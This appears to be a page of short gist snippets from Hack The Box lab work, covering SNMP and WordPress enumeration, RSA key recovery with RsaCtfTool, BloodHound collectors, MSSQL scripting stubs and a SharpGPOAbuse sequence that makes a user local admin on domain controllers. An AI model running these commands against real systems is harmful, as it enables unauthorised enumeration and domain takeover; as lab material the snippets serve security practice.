This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # see ~/repos/RsaCtfTool | |
| # docker build -t rsactftool . | |
| docker run -it -v "$(pwd):/data" rsactftool:latest --publickey ./public.crt --private |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| snmpwalk -v2c -c public ${RHOSTS} -m ALL |& tee snmp_all.txt |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # authors | |
| wfuzz -z range,1-200 -u http://${R}/?author=FUZZ --hh 9104 | |
| # pages | |
| wfuzz -z range,1-200 -u http://${R}/?p=FUZZ --hh 9104 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| findstr /S /I /M /C:"karl" *.* |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bash | |
| set -euo pipefail | |
| IFS=$'\n\t' | |
| remote="localhost:8999" | |
| remote="web.teignton.htb:1433" | |
| fn="$(mktemp)" | |
| rc="$(mktemp)" | |
| trap "rm -fv \${fn} \${rc}" EXIT | |
| cat <<'EOF' > ${rc} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Serve bloodhound | |
| /home/stev0/src/BloodHound-linux-x64/resources/app/Collectors/SharpHound.exe | |
| /home/stev0/src/BloodHound-linux-x64/resources/app/Collectors/DebugBuilds/SharpHound.exe | |
| /home/stev0/src/BloodHound-linux-x64/resources/app/Collectors/AzureHound.ps1 | |
| /home/stev0/src/BloodHound-linux-x64/resources/app/Collectors/SharpHound.ps1 | |
| /home/stev0/src/BloodHound-linux-x64/BloodHound | |
| # Start Neo4j | |
| ~/bin/neo4j.sh |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # unznip | |
| Expand-Archive dnSpy-net-win64.zip |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| """ | |
| Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) | |
| See the file 'LICENSE' for copying permission | |
| """ | |
| # import os | |
| # import re | |
| # from lib.core.convert import encodeBase64 | |
| from lib.core.enums import PRIORITY |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| # -*- coding: utf-8 -*- | |
| """Do mssql stuff.""" | |
| from base64 import b64decode | |
| import bs4 | |
| import pymssql | |
| HOST = "web.teignton.htb" | |
| PORT = 1433 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| New-GPO -Name wtfgpo -Comment "This is a test GPO" | |
| New-GPLink -Name stev0 -Target "OU=Domain Controllers,DC=TEIGNTON,DC=HTB" -LinkEnabled Yes | |
| .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount jay.teignton --gponame stev0 | |
| gpupdate /force |